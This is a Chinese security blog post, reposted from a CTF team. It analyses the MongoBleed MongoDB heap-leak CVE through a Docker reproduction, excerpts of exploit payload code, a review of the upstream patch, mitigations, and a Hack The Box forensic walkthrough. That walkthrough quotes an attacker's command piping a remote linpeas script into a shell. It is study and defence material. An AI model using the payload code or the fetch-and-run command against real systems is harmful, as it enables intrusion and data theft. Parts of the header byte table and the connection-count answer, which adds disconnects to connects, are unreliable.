深度分析MangoBleed(CVE-2025-14847)

admin 2026-01-05 18:13:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文深入分析了CVE-2025-14847(MangoBleed)漏洞,该漏洞源于MongoDB的zlib压缩逻辑缺陷,导致无认证堆内存泄露,可窃取敏感凭证。文章结合HTB靶场Sherlock场景,详细讲解了漏洞原理、复现过程及日志分析技巧,包括攻击者IP提取与时间线梳理。建议升级至修复版本或禁用zlib压缩以缓解风险。 综合评分: 90 文章分类: 漏洞分析,应急响应,渗透测试


cover_image

深度分析MangoBleed(CVE-2025-14847)

chenzi

OnePanda-Sec

2026年1月4日 17:50 湖北

招新

OnePanda-Sec

-招新说明-

**招新要求

· 热爱网络安全,喜欢CTF

· 拥有CTF比赛经验,有较好比赛成绩的

· 乐于奉献、热爱分享,愿意提升   自己同时帮助他人

· 时间允许参加各类赛事,服从战队管理与安排

· 各类比赛获奖者、能力出众者视情况考量

· 未参与其他高校联队

· 大一同学视情况放宽资历要求**

联系方式

发送简历于邮箱

· 简历邮箱:[email protected]

MangoBleed(CVE-2025-14847)

本文分析了CVE-2025-14847漏洞原理、漏洞复现以及结合了HTB靶场的Sherlock进行综合分析日志。

Sherlock Scenario

You were contacted early this morning to handle a high‐priority incident involving a suspectedcompromised server. The host, mongodbsync, is a secondary MongoDB server. According to theadministrator, it's maintained once a month, and they recently became aware of a vulnerabilityreferred to as MongoBleed. As a precaution, the administrator has provided you with root-levelaccess to facilitate your investigation.You have already collected a triage acquisition from the server using UAC. Perform a rapid triageanalysis of the collected artifacts to determine whether the system has been compromised,identify any attacker activity (initial access, persistence, privilege escalation, lateral movement, ordata access/exfiltration), and summarize your findings with an initial incident assessment andrecommended next steps.

Task1

What is the CVE ID designated to the MongoDB vulnerability explained in the scenario?

网上搜一下也就是最近爆出来的

CVE-2025-14847

漏洞简介

•类型:无认证远程堆内存泄露

•危害:攻击者无需认证即可从服务器内存中提取敏感数据,可能包括数据库凭证、API密钥、会话令牌、用户数据等

漏洞原理

根源在于MongoDB的zlib网络消息压缩处理逻辑:

•MongoDB支持客户端发送压缩消息。

•攻击者发送特质畸形的压缩包,在消息头中故意制造长度字段不一致

•服务器在解压时会分配过大缓冲区,并错误地将未初始化地堆内存作为有效数据返回给攻击者。

•此过程多次发送不同偏移的畸形请求,攻击者可逐步提取内存碎片,聚合后可能恢复敏感信息。

•不是直接RCE,但泄露的凭证可导致后续横向移动或数据窃取。

受影响版本

几乎所有2017年以来启用zlib压缩的MongoDB Server版本,包括主流分支:

•8.x系列(至8.2.2)

•7.0.x、6.0.x、5.0.x、4.4.x等遗留版本

•具体:影响4.4、5.0、6.0、7.0、8.0全系列(直到2025年11月版本)

环境搭建

1.docker环境

docker-compose.yml

version: '3.8'services:# 受漏洞影响的版本(开启 Zlib)mongodb-vulnerable:image: mongo:6.0.14container_name: mongodb-vulnerableports:- "27017:27017"command: mongod --networkMessageCompressors snappy,zlib# 已修复的版本(用于对比测试)mongodb-patched:image: mongo:6.0.27container_name: mongodb-patchedports:- "27018:27017"command: mongod --networkMessageCompressors snappy,zlibvolumes:mongodb-data:mongodb-patched-data:

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.gitchmod +x *.sh./docker-proxy.sh

等镜像源换完,再拉取

docker-compose up -d

漏洞复现

git clone https://github.com/cybertechajju/CVE-2025-14847_Expolit.gitcd CVE-2025-14847_Expolit

创建虚拟环境

python -m venv myenvsource myenv/bin/activate

安装依赖包

pip install -r requirements.txtpython mongobleed_pro.py -h

使用本地的27017漏洞版本测试

python mongobleed_pro.py --target http://localhost:27017

泄露了数据,保存在本地的dump_localhost.bin,loot_localhost.txt

同时测试一下27018端口

没有漏洞

漏洞分析

我们从exp上去分析一下

第一步:

sock = socket.socket()sock.settimeout(3)sock.connect((host, port)) # 尝试连接MongoDB默认端口27017

第二步:

check_vulnerability()漏洞存在性检测

def check_vulnerability(host, port):hacker_loading("Probing target defenses", 1)test_offsets = [100, 500, 1000, 1500, 2000, 3000]for offset in test_offsets:response = send_probe(host, port, offset, offset + 500)if extract_leaks(response):return Truereturn False

通过不同的”偏移量(offset)”发送请求,只要能从响应中提取到非预期数据,就判定目标漏洞未修复。

第三步:

send_probe()构造payload

# 1. 构造畸形的BSON文档(MongoDB的数据格式)content = b'\x10a\x00\x01\x00\x00\x00'bson =&nbsp;struct.pack('<i', doc_len) + content&nbsp;# 伪造文档长度(关键漏洞触发点)# 2. 封装为MongoDB的OP_MSG消息op_msg =&nbsp;struct.pack('<I',&nbsp;0) + b'\x00'&nbsp;+ bson# 3. 压缩消息(触发漏洞的关键操作)compressed = zlib.compress(op_msg)# 4. 构造最终恶意载荷(包含压缩标识+畸形数据)payload =&nbsp;struct.pack('<I',&nbsp;2013) +&nbsp;struct.pack('<i', buffer_size) +struct.pack('B',&nbsp;2) + compressed# 5. 加上MongoDB协议头,发送给目标header =&nbsp;struct.pack('<IIII',&nbsp;16&nbsp;+ len(payload),&nbsp;1,&nbsp;0,&nbsp;2012)sock.sendall(header + payload)

1.伪造的BSON文档长度(doc_len)与实际内容不匹配

2.对请求进行zlib压缩后,MongoDB的解压/解析逻辑存在缺陷,导致内存越界读取

3.攻击者通过控制doclen和buffersize(缓冲区大小),精准控制内存读取的范围

第四步:

发送请求并接收泄露数据(send_probe()后续逻辑)

response =&nbsp;b''while&nbsp;len(response) <&nbsp;4&nbsp;or&nbsp;len(response) < struct.unpack('<I', response[:4])[0]:chunk = sock.recv(4096)&nbsp;#持续接受响应(直到完整读取)if&nbsp;not&nbsp;chunk:&nbsp;breakresponse += chunk

获取目标返回的、包含内存泄漏数据的响应包

第五步:

提取泄露的内存数据即 extract_leaks函数

批量提取+敏感信息识别run_exploit() + analyze_secrets()

还有保存攻击结果(持久化loot)

攻击总结:

回到源码

https://github.com/mongodb/mongo/blob/r8.0.16/src/mongo/transport/message_compressor_zlib.cpp

原本用于返回解压数据大小的行使用了return {output.length()};这行代码,它告诉代码返回已分配的内存量,而不是解压数据的实际长度。新的return {length};确保只返回解压缩数据的实际长度。

https://github.com/mongodb/mongo/blob/master/src/mongo/transport/message_compressor_zlib.cpp

进一步分析可以发现,在新的src/mongo/transport/message_compressor_manager_test.cpp中多了一个checkUndersize函数

void&nbsp;checkUndersize(const&nbsp;Message& compressedMsg,std::unique_ptr<MessageCompressorBase> compressor) {MessageCompressorRegistry registry;const&nbsp;auto&nbsp;compressorName = compressor->getName();std::vector<std::string> compressorList = {compressorName};registry.setSupportedCompressors(std::move(compressorList));registry.registerImplementation(std::move(compressor));registry.finalizeSupportedCompressors().transitional_ignore();MessageCompressorManager&nbsp;mgr(&registry);BSONObjBuilder negotiatorOut;std::vector<StringData>&nbsp;negotiator({compressorName});mgr.serverNegotiate(negotiator, &negotiatorOut);checkNegotiationResult(negotiatorOut.done(), {compressorName});auto&nbsp;swm = mgr.decompressMessage(compressedMsg);ASSERT_EQ(ErrorCodes::BadValue, swm.getStatus());}

核心逻辑在

mgr.decompressMessage(compressedMsg):调用压缩器管理器解压传入的“异常”的压缩消息

ASSERT_EQ(ErrorCodes::BadValue, swm.getStatus()):单元测试断言

主要目的是验证当传入一个“尺寸异常(undersize)” 的压缩消息时,消息解压逻辑能正确返回 ErrorCodes::BadValue 错误码

同时在下面也给到了测试用例

重点看一下Zlib的测试用例

TEST(ZlibMessageCompressor, Undersize) {// 1. 构造Zlib算法的“尺寸异常”二进制消息数据std::vector<std::uint8_t> payload = {0x3c,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0xad,&nbsp;0xde,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,0xdc,&nbsp;0x07,&nbsp;0x00,0x00,&nbsp;0xdd,&nbsp;0x07,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x20,&nbsp;0x00,&nbsp;0x00,&nbsp;0x02,&nbsp;0x78,&nbsp;0xda,0x63,&nbsp;0x60,&nbsp;0x00,0x82,&nbsp;0xdf,&nbsp;0xf2,&nbsp;0x0c,&nbsp;0x0c,&nbsp;0xac,&nbsp;0xf1,&nbsp;0x99,&nbsp;0x29,&nbsp;0x0c,&nbsp;0x0c,&nbsp;0x02,0x40,&nbsp;0x9e,&nbsp;0x87,0xab,&nbsp;0x63,&nbsp;0x80,&nbsp;0x8f,&nbsp;0xab,&nbsp;0xa3,&nbsp;0x37,&nbsp;0x03,&nbsp;0x12,&nbsp;0x00,&nbsp;0x00,&nbsp;0x6d,0x26,&nbsp;0x04,&nbsp;0x97};// 2. 分配缓冲区并拷贝数据auto&nbsp;buffer = SharedBuffer::allocate(payload.size());std::copy(payload.begin(), payload.end(), buffer.get());// 3. 调用测试函数:传入异常消息 + Zlib压缩器实例checkUndersize(Message(buffer), std::make_unique<ZlibMessageCompressor>());}

| | | | | | — | — | — | — | | 字节范围 | 含义 | 对应 payload 值 | 说明 | | 0-3 | 消息总长度(小端序 uint32) | 0x3c 0x00 0x00 0x00 | 解析为十进制 60 → 声明消息总长度是 60 字节 | | 4-7 | 魔数 / 标识 | 0xad 0xde 0x00 0x00 | MongoDB 自定义的压缩消息标识(0xADDE 是固定值) | | 8-11 | 保留字段 | 0x00 0x00 0x00 0x00 | 无实际意义,占位 | | 12-15 | 压缩器类型(小端序 uint32) | 0xdc 0x07 0x00 0x00 | 解析为十进制 2012 → 标识这是 Zlib 压缩的数据(不同压缩器有专属数值) | | 16-19 | 保留字段 | 0xdd 0x07 0x00 0x00 | 占位 | | 20-23 | 原始数据长度(小端序 uint32) | 0x00 0x20 0x00 0x00 | 解析为十进制 8192 → 声明解压后原始数据长度是 8192 字节 | | 24 | 压缩算法标识 | 0x02 | Zlib 的算法标识(Snappy 是 0x01,Zstd 是 0x03) | | 25+ | Zlib 压缩数据体 | 0x78 0xda … 0x04 0x97 | Zlib 格式的压缩数据(但被故意构造为 “尺寸不足”) |

•头部声明“原始数据长度是 8192 字节”,但实际的 Zlib 压缩数据体只有 60-25=35 字节→ 远不足以解压出 8192 字节的原始数据,解压逻辑会检测到 “数据尺寸不足”。

漏洞修复

1.立即升级到已修复版本

立即升级到:

•8.2.3、8.0.17、7.0.28、6.0.27、5.0.32、4.4.30

•MongoDB Atlas(托管版)已自动修复。

2.临时缓解: 禁用zlib 压缩 (启动参数:–networkMessageCompressors=snappy,zstd 或配置文件中排除 zlib) 不要将27017端口暴露在互联网 数据库访问设置白名单,不要设置任何ip可访问

Task2

What&nbsp;is&nbsp;the version of MongoDB installed&nbsp;on&nbsp;the server that the CVE exploited?分析位于 MangoBleed\uac-mongodbsync-linux-triage\[root]\var\log\mongodb\mongod.log

8.0.16

Task3

Analyze the MongoDB logs to identify the attacker’s remote IP address used to exploit the CVE.

在日志中关注事件ID22943(连接)和ID22944(断开连接)

65.0.76.43

我们也可以用工具进行分析

https://github.com/Neo23x0/mongobleed-detector

# Shell script dependencies# Debian/Ubuntuapt-get install jq gawk gzip# RHEL/CentOS/Fedoradnf install jq gawk gzip# macOSbrew install jq gawk# Python remote scanner has no additional dependencies# Uses native ssh/scp commands# Clone the repositorygit&nbsp;clone&nbsp;https://github.com/your-org/mongobleed-detector.gitcd&nbsp;mongobleed-detector# Make executablechmod&nbsp;+x mongobleed-detector.sh
./mongobleed-detector.sh --no-default-paths -p ./mongod.log -t 10000

Task4

Based on the MongoDB logs, determine the exact date and time the attacker’s exploitation activity began (the earliest confirmed malicious event)

根据上图可以看到

2025-12-29 05:25:52

Task5

Using the MongoDB logs, calculate the total number of malicious connections initiated by the attacker.

同样在上图

Risk:风险等级(这里是HIGH,表示高风险)

SourceIP:来源 IP 地址(这里是65.0.76.43)

ConnCount:连接次数(37630 次,短时间内大量连接)

MetaCount:元数据操作次数(0 次)

DiscCount:断开连接次数(37630 次,和连接数一致,说明连接后立即断开)

MetaRate%:元数据操作占比(0.00%)

BurstRate/m:每分钟爆发连接数(30104 次,短时间内连接频率极高)

First/LastSeen:首次 / 最后一次出现的时间(2025-12-29 的 2 分钟内完成了大量连接)

所以总共为75260

75260

Task6

The attacker gained remote access after a series of brute‑force attempts. The attack likely exposed sensitive information, which enabled them to gain remote access. Based on the logs, when did the attacker successfully gain interactive hands-on remote access?

访问/var/log/auth.log日志

2025-12-29 05:40:03

Task7

Identify the exact command line the attacker used to execute an in‑memory script as part of their privilege‑escalation attempt.

确定用户为mongoadmin

uac-mongodbsync-linux-triage[root]\home\mongoadmin下的.bash_history文件中

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Task8

The attacker was interested in a specific directory and also opened a Python web server, likely for exfiltration purposes. Which directory was the target?

同样去分析一下

/var/lib/mongodb

文章借鉴:

https://www.cnblogs.com/hzhsec/p/19428472

MongoDB 未经身份验证的攻击者敏感内存泄漏

免责声明

本文档MongoDB漏洞复现(CVE-2025-14847)所包含的漏洞复现方法、技术细节及利用代码,仅限用于授权的安全测试、教育学习与研究目的

OnePandaSec团队交流群,欢迎网络安全爱好者加入

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:OnePanda-Sec chenzi《深度分析MangoBleed(CVE-2025-14847)》

评论:0   参与:  0